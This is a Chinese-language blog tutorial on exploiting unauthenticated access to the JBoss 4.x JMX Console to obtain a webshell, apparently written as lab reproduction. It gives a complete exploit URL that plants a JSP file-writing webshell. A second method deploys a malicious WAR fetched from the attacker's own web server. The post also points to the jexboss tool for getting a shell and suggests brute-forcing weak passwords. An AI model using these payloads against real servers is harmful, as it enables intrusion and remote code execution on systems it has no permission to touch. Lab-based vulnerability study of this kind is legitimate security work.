Jboss JMX Console未授权访问Getshell


[toc]

Jboss JMX Console未授权访问Getshell

漏洞描述:

由于JBoss中/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进⼊到jmx控制台,并在其中执⾏任何功能

影响版本:

Jboss4.x以下版本。

利用方式:

Jboxx4.x /jmx-console/ 后台存在未授权访问,进入后台后,可直接部署 war 包Getshell。若需登录,可以尝试爆破弱口令登录(类似于tomcat的War包配置漏洞)

环境搭建:

0x01:使用docker搭建漏洞环境

一键安装Docker
这是推荐方式。在未安装过Docker的机器上,root权限执行如下命令即可一键安装最新版Docker:
curl -s https://get.docker.com/ | sh

1、搜索漏洞环境:

sudo docker search testjboss


2、拉取镜像:

sudo docker pull testjboss/jboss


3、查看现有的docker环境

sudo docker images


4、运行环境,访问http://ip即可

sudo docker run -p 80:8080 -d testjboss/jboss

漏洞复现:

Method 1:

http://Your IP/jmx-console 直接访问jboss控制台

http://Your IP/jmx-console//HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True

url中的参数:arg0代表war包的名称,arg1=文件名称,arg2=文件后缀名,arg3=文件内容
url解码为:

http://Your IP/jmx-console//HtmlAdaptor?action=invokeOpByName&name=jboss.admin:service=DeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=<%+if(request.getParameter("f")!=null)(new+java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());+%>&argType=boolean&arg4=True

功能是写入文件,f=文件名,t=文件内容

写入hack.txt文件

http://Your IP/August/shell.jsp?f=hack.txt&t=Are you script boy


访问hack.txt文件


Method 2:

首先制作一个war木马(需要jdk),在jsp小马目录下cmd执行:

jar cvf shell.war test.jsp



若报拒绝访问错误,请使用管理员权限运行cmd
将war包放在自己的WEB服务器上

python3 -m http.server 777    #使用python起临时web服务 端口为777


\\


Jboxx4.x /jmx-console/ 后台存在未授权访问,进入后台后,可直接部署 war 包Getshell。若需登录,可以尝试爆破弱口令登录。

然后找到jboss.deployment(jboss 自带的部署功能)中的flavor=URL,type=DeploymentScanner点进去(通过 url 的方式远程部署)

也可以直接输入URL进入:

http://Your IP/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment:type=DeploymentScanner,flavor=URL


找到页面中的void addURL()选项来远程加载war包来部署。


查看部署是否成功
返回到刚进入jmx-console的页面,找到 jboss.web.deployment,如下说明部署成功。如果没显示,多刷新几次页面或者等会儿,直到看到有部署的war包即可

检测工具:

检测工具:jexboss,一个使用Python编写的Jboss漏洞检测利用工具,通过它可以检测并利用web-console,jmx-console,JMXInvokerServlet这三个漏洞,并且可以获得一个shell。
使用:

python jexboss.py -u http://ip:port


文章作者: Taoing
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Taoing !